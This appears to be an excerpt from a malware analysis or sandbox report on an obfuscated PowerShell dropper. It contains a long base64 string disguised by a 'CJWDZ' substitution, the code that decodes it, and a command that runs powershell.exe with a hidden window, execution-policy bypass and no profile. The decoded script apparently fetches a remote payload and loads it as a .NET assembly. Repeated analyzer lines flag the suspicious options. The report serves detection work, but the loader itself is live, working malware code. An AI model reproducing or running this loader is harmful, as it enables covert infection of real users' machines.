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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('CJWDZ','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
option -executionpolicy bypass value Attempts to bypass execution policy
option -noprofile value Does not load current user profile
option -windowstyle hidden value Attempts to execute command with a hidden window
file C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe